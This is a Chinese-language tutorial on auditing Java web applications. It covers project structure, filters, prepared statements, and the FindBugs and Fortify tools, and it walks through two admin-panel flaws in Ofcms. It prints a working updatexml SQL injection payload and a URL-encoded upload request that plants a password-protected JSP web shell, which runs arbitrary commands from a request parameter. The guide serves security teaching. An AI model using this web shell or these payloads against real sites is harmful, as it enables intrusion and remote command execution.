目录
- 必备知识点
- 演示案例:
- 简易Demo段SQL注入及预编译
- IDEA审计插件FindBugs安装使用
- Fortify_SCA代码自动审计神器使用
- Ofcms后台SQL注入-全局搜索关键字
- Ofcms后台任意文件上传-功能点测试
- 涉及资源:
我们一般针对java项目,进行漏洞分析的话,主要是从三方面去分析,代码层面分析,还有代码引用或编写的框架,框架也会有一些安全问题。除此之外,容器搭建也会造成安全问题,这个是简要的分类,我们分析的三个方向
由于javaweb的语言特性和一些常规的php和脚本,大致不一样,所以在漏洞方面的类型也会有些小范围的区别,这个可以参考我们之前讲过的webgoat java环境靶场里面的常规漏洞进行分析,这个是整体的思路
这些知识点,我们前期简要的去看一下就好了,这些常规意思你下去看到查一下,记住几个就行了
这个跟我们php里面get提交、post提交比较类似
必备知识点
简要理解JAVAWEB项目组成
代码方面,框架方面,中间件容器方面等
简要理解JAVAWEB执行流程
参考下图及
https://www.cnblogs.com/1987721594zy/p/9186584.html
https://blog.csdn.net/weily11/article/details/80643472
我们着重讲过滤器,他可以由配置文件指定过滤器,filter在代码中会有相关的过滤和防护,由filter 来指定,所以说java和php这些常规的脚本不同的地方,java在执行的时候会有过滤器,过滤器可以进行配置、编写
一般我们在看源代码的时候,要优先看一下源码里面有没有过滤器,过滤器的一些写法又是怎样的
com:
公司项目,copyright由项目发起的公司所有
包名为com.公司名.项目名.模块名…
持久层: dao、persist、mapper
实体类: entity、model、bean、javabean、pojo
业务逻辑: service、biz
控制器: controller、servlet、action、web
过滤器: filter
异常: exception
监听器: listener
我们要知道这些常规命名代表什么意思
在不同的框架下一般包的命名规则不同,但大概如上,不同功能的 Java 文件放在不同的包中,根据 Java 文件的功能统一安放及命名。
#审计思路:
根据业务功能审计优点:
明确程序的架构以及业务逻辑,明确数据流向,
可以从获取参数–>表现层–>业务层–>持久层,通读源码;
缺点:耗费时间;
根据敏感函数审计优点:
可以快速高效的挖出想要的漏洞,判断敏感函数上下文,追踪参数源头;
缺点:覆盖不了逻辑漏洞,不了解程序的基本框架;
#审计开始前:
1、确定框架:
目的:要分析一下当前框架是否存在漏洞
通过以下三种方式确定框架:
web.xml
看导入的jar包或pom.xml
看配置文件
Struts2 配智文件:struts.xml
Spring配置文件: applicationContext.xml
Spring Mvc 配置文件: spring-mvc.xml
Hibernate 配置文件: Mibernate.cfg.xml
Mybaits 配置文件: mybatis-config.xml
确定框架是为了便于对框架进行了解,因为每个框架不同的话,那么框架的安全性也不同,我们知道Struts2曾经报过很多漏洞,特别是RCE执行漏洞,在前面几年非常火,所以你确定是这个框架开的项目之后,一旦这个框架曾经报过漏洞,或者说这个框架不怎么安全,也会对这个项目造成漏洞攻击
2、查看是否存在拦截器
通过查看web.xml文件,确定是否配置相关拦截器。
我们即使看到代码中可能存在安全问题,但是由于这个过滤器的存在,那么你在测试攻击的时候,也会受到过滤器的拦截,这个跟PHP的一些东西是不太一样的,他是把一些过滤器写到配置文件里面去,那么代码就受到过滤器的保护,所以过滤器是我们执行流程比较关注的点,因为他决定这个漏洞是否能够成功应用的一个根本
演示案例:
简易Demo段SQL注入及预编译
大家要分析java代码,是没有一些好的审计工具,大家需要安装idea工具,java开发的环境有很多idea,这里我们使用的是IntelliJ IDEA,因为这个是比较主流的
现在我们把项目载入进去,常规的javaweb代码,是有jsp格式去书写的,那么在有些项目里面,格式是java类型的,这个是看他的开发框架,有没有引用开发框架,如果没有引用框架,那大部分源码都是jsp的格式源码,如果有引用框架,那一般是java和jar一些的格式文件
在这个文件里面,一般java源码、他的web代码,一般是储存在src/main/webapp里面,还有一个是src/main/java/com.anbai.sec
一般我们是看java目录和webapp目录,一般web的源码是存放在webapp下面,在下面我们可以看到这里有些目录同时有些jsp文件,jsp文件就是一些很简单的程序源码,如果是jar的还需要对jar的源码进行反编译查看,反编译很简单,可以利用一些工具进行反编译,还可以把jar文件拖到idea里面自动进行反编译
我们看一下jsp代码
代码中出现了关键字,其中有sql语句,user在接收过来之后,并没有受到相关的影响
我们把项目运行起来,我们找到那个文件,后面加上参数
这些是运行起来中间件的信息,他可以实时监控你返回的地址信息
为了更加方便,我们自己开个数据库的插件工具来监听一下当前数据库的执行语句
我们刷新一下刚才地址,来看一下当前语句执行情况,可以看到在这边执行了sql语句,你可以看到在这边执行了sql语句,你可以看到上面采用java连接到数据库的连接请求,我们执行了sql语句
我们测试一下有没有注入点,我们加上去看它数据库有没有进行组合就完事了,可以看到这里爆出了1和2
我们接着继续进行注入,这里就是简单的demo段sql注入
列名接上参数值再配个问号这种写法就会造成预编译机制,就是防注入的情况,我们在分析注入点的时候,你在判断注入点参数,在加上这个值user = ?的时候,那这个东西一般就是采用预编译机制了
我们保存一下,把项目重启一下,再去测试一下刚才的注入点
你只要加上任何东西就会变成问号,这个就是java里面自带的预编译机制
创建预编译对象,他会把sql语句进行预编译
典型的代码执行语句前后问题,他是防止sql注入最有效的东西,预编译机制,这个在PHP里面也有,但是php很少看到,一般在java会常看到
java里面采用预编译机制写法特别简单,只要是稍微懂点安全的人,在数据库执行加上变量的时候,会采用?,一旦写上,预编译机制就会被采用,所以这个注入就很难进行
虽然预编译机制理论上是可以绕过的,但是要看情况,它是需要看代码写法的,有些预编译是可以绕过的,大部分是绕过不了或者是很鸡肋
大家如果是在java中分析注入代码的时候,你一定要看一下sql语句的编写方式,是不是采用我们刚才安全写法的预编译机制,采用这种机制,这个注入点是很难去操作的,那么这个注入点的挖掘是可以忽略不计了
如果是下面这个写法的话,可以去追踪一下,这里有没有过滤器
过滤器看pom.xml
这个就是过滤器的申明,关键字是filter,如果有过滤器的话,就要找到过滤器的代码段,然后分析一下,这个地方会不会受到过滤器的影响
java代码审计整体上跟php差不多的,只是在语言设计上面有些区别,难点是代码比较难懂,在就是它自身的框架比较多
IDEA审计插件FindBugs安装使用
利用插件是用来自动分析的,一般我们进行java代码审计是人为,人为分为两方面,第一种是根据业务功能审计优点,我们要知道java项目是干嘛用的,比如说它是论坛程序、交友程序、简简单单的门户网站,我们要知道项目面对功能不一样的话,比如他是通过文件下载的站,那么就会涉及到文件操作,就会优先考虑文件下载、上传、遍历这些漏洞,所以我们通过项目的业务功能,来去着重的分析漏洞产生点
在PHP里面经常讲到的,搜索关键字,通过这些敏感函数,比如文件类操作函数,我们就通过搜索文件类操作函数来寻找文件操作类漏洞,文件上传、文件下载;如果是注入类漏洞,就搜索sql语句关键字、接收方式,我们可以通过搜索关键字来确定你要找的方向
除了人工思路之外,还可以借助工具,这种工具就是采用自动化,一种是项目的插件,还有一种是我们比较知名的代码分析神器Fortify,Fortify支持大部分的脚本,用Fortify的原因是很多工具都不支持java
用工具去分析,可以打开突破口,相当于我们不需要去想前面的事情,只需要用这两个插件帮我们跑一下,跑完之后,我们在根据上面给到的提示,再去分析代码
FindBugs是我们第二推荐的,这个插件主要是找bug,但是他里面也集成了找安全漏洞的功能
参考网上的安装文章安装一下FindBugs
我们选中java项目,点开始按钮,点击是
他这里就会分析有没有相关漏洞,从代码中分析到这个地方可能存在安全问题,我们这种看security目录,其它一些目录都是其它的,因为这个插件主要是用来分析java书写的bug
这里存在sql注入和csrf漏洞、弱口令、密码显示
我们打开看一下,他分析到代码是在这个地方有问题
这个插件在用的时候,顺便用一下,我个人不是很推荐,他只是说更好的帮你分析代码的工具,真正来说,它分析到漏洞的机率不是很高,还是要用Fortify
FindBugs插件有个缺点,不能分析jsp文件,这是它最大的缺点
Fortify_SCA代码自动审计神器使用
我们打开这款工具
由于是java项目,然后我们选择的是这个
他会让我们选择java的版本,这个是根据你自己电脑安装的java版本选择的
一般默认就可以了
这个扫描过程,根据你当前电脑的配置、项目大小,他会有一段时间,大部分在三、五分钟,电脑配置比较低的话,不建议用,会崩的
这个就是扫描结果
扫描出来的sql注入
文件就是这个地方
我们进行注入测试,这里就不说,就是注入点
这边命令执行,参数cmd可控
Fortify工具是非常好的,他能帮你自动找到脆弱点,让你直接载入进去去看,这个是工具自动化帮你分析一遍,找到切入点,你再去确定有没有这个漏洞
idea使用技巧,把代码段打开之后,编辑>查找>在路径中查找,这个就是全局查找
也就是在项目中查找关键字,这边可以指定范围和一些其它的
在项目中搜索select,通过关键字也能分析到一些问题
选中函数,点击查找使用,分析一下代码在那里出现过,就是全局搜索,定位函数差不多的意思,要看一下这个函数从那里来,我们要分析一下这个函数的过滤和一些写法,来分析他有没有过滤
选中方法,点击他
其实就是建立数据库连接的东西
Ofcms后台SQL注入-全局搜索关键字
我们载入项目
拿到源码之后,还是需要简单了解一下源码的业务功能,了解一下他整体的设计,看一下他的架构
项目依赖、配置文件
拿到源码之后,我们一般要看一下他的pom.xml,看完这个之后,还需要看一下web.xml
公司名称、几个目录
数据库版本
确认框架
我们点击外部库,看他引用了那些外部库
搜一下web.xml也能搜索出来
看到了过滤器和监听器了
一般我们在看项目源码的时候,优先看一下这几个文件,确定一下常规的信息之后,你整体的思路就比较明显了,就知道这个程序对应是什么套路,有什么框架加什么东西的开发
我们采取人工和工具同时进行,先使用工具对整体源码进行分析
然后把网站先给启动起来
进行插件分析也可以
网站已经启动成功了
我们看一下idea工具运行的地方,可以看到很多的sql语句交互的界面
搜索一下sql语句的关键字,这个地方好像有安全问题
这里定义了sql语句
sqlOrgnoToID没有被调用
我们进行全局搜索试一下,sqlOrgnoToID写法有问题,但是sqlOrgnoToID函数没有被调用过
我们搜索的时候只能搜索一些关键字进行确定,搜索数据库的操作性函数、搜索写法的关键字
Db.update猜想是数据库里面执行sql语句
结果可以在窗口中查询
这个地方可能存在sql注入点,因为他这里接收到sql语句之后,就用update执行了
我们查找文件地址在那里
文件地址找到之后,我们去访问文件,触发文件地址,第一个是要看他框架的路由;第二个看他代码里面有没有申明路由地址
在java里面有action开端的就是路由地址,也就是说访问system/generate/地址信息,就是触发文件
然后他定义的里面方法叫create,我们加create参数,就是触发这个方法,然后传递sql变量触发他
我们打开admin目录,登录后台
我们现在去触发地址,这个就是说我们直接访问不行,要有一些数据包构造,自己抓包进行分析,配合BP,就是分析它后台的地址信息,然后加载看是不是目录搞错了
我们现在就来访问这个地址
点击一下用户管理,触发地址链接,对照着去修改它
把路由地址信息替换一下
我们把它发出去,看一下对应界面的更改
我们现在要触发create方法,我们抓数据包进行分析,我们刷新看一下,我们看到源代码是没有query方法
我们点击增加这里看一下,写个test
这个就是触发方法,跟thinkPHP差不多
只是后面加了json,这个json是上面代码段包含文件默认的写法,要追踪一下java包,所以通过源代码之后,这个地址就会完整的构造出来
它给的参数名是sql就对应上了
我们构造payload发送过去,这个是根据数据库的情况决定的语句,如果是oracle数据库就是oracle数据库的注入语句,我这边是mysql
update of_cms_link set link _name=updatexml(1, concat(0x7e,(version())),0) where link_id=4
然后这里报错了
这个漏洞是产生在后台的,也就是说这个漏洞是鸡肋漏洞,他不是在前端的,前端的漏洞这个程序没有,它只有后台有这个漏洞,后台有这个漏洞的意义是可以操纵数据库,通过这个sql语句拿网站权限,因为后台到网站权限还有一步之遥,所以你发现这个漏洞之后,可以通过这个漏洞获取网站权限,但是这个是代码分析,分析到了sql注入漏洞
Ofcms后台任意文件上传-功能点测试
模板这里有修改文件的,其实这是个上传文件的地方
点保存,我们抓个包,这个地址对应save文件
我们搜索save方法,找到对应文件的函数
操作代码在这里,这里就是典型的文件接收过来的写入文件,它其实就是文件上传写入,在这个地方没有过滤
我们只要满足这几个参数值传递过去,就能实现文件的写入
file_path=$dirs=%2F&res_path=res&file_name=../../static/jsp_shell.jsp&file_content=%3C%25%0A++++if(%22pOdesta%22.equals(request.getParameter(%22pwd%22)))%7b%OA++++++++java.io.InputStreamt+in+*3D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputstream()%3A%0A++++++++int+a+%3D+-1%3B%0A+++++++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B%0A+++++++out.print(%22%3Cpre%3E%22)%3B%0A++++++++while((a%3Din.read(b))!%3D-1)%7B%0A++++++++++++out.println(new+String(b))%3B%0A++++++++%7D%0A++++++++out.print(%22%3C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E
上传成功
就是我们写入的代码
这个就是典型的功能点导入文件的分析,通过代码上面的地址信息,分析这个地方有没有相关过滤,如何实现过滤
我们从两方面入手,第一方面全局搜索关键字找特定漏洞的代码段,第二方面,网站搭建完,测试功能点,然后抓包,通过抓包的地址信息来找到对应代码段,然后分析代码段的情况
有些框架会把函数进行整改,这个是接收函数
但真正来讲函数是这样写的,它把函数给重新定义了,这样我们去搜索的话,就搜索不到原型,这个就是搜索关键字不好的一点,不过你通过源代码阅读分析的话,把这个东西找到是一样的道理
这是ofcms的两个鸡肋漏洞,因为都是在后台,前端没有漏洞,不过我们熟悉的是它整体代码的分析
从分析过程中,大家也都知道java和php的区别,第一个是代码上的区别,第二个主要是java文件对应地址的区别,这是一个比较核心的点
一些文件里面你要看路由地址
然后你抓包的时候看一下
这个路由一般会在里面申明,thinkphp里面是官方的,这个也是遵循java怎么写的,所以你要翻文件,来确定这个文件的写法;它常规的过滤器写法,sql语句的写法是它自带的,预编译机制,java语言的特性
我们懂一些pyhon、php、c++,看java代码应该能看一些明白,因为很多代码的英文单词已经写的很清楚了,save就是保存
javaweb代码审计之所以难,是因为它的框架不一样,框架不一样,它的安全问题也不一样,就好比我们php里面使用thinkphp开发的源码,它就遵循thinkphp里内置的安全规则;java也是一样,假设你是用struts2开发的,那struts2的安全属性流程你就要按照它的来,我们讲框架漏洞只能抽其中一两个去讲,太多框架讲不完
这个框架的选用是根据网站自身决定的,常用的框架就那几种,如果网站是专门对数据库进行操作的,就选用ORM型框架,例如MyBatis框架和Hibernate框架;文章显示,会以这三种SpringMVC,Struts2框架,Spring框架,java程序有多个框架,这就是java代码审计为什么难的原因,网站用什么框架,那网站的安全就归那个框架使用,你使用什么框架就遵循它引用的规则,就会应用它自身的过滤器进行拦截,对攻击进行防护,struts2报过安全漏洞,所以框架在引用的时候,会导致源码的安全性问题;框架安全的话,源码就安全
vulhub有很多中间件漏洞,中间件漏洞不属于代码层面的,它是它中间件自身的代码漏洞
涉及资源:
https://blog.csdn.net/x62982/article/details/88392968
https://blog.csdn.net/weily11/article/details/80643472
https://www.cnblogs.com/kingsonfu/p/12419817.html
https://www.cnblogs.com/1987721594zy/p/9186584.html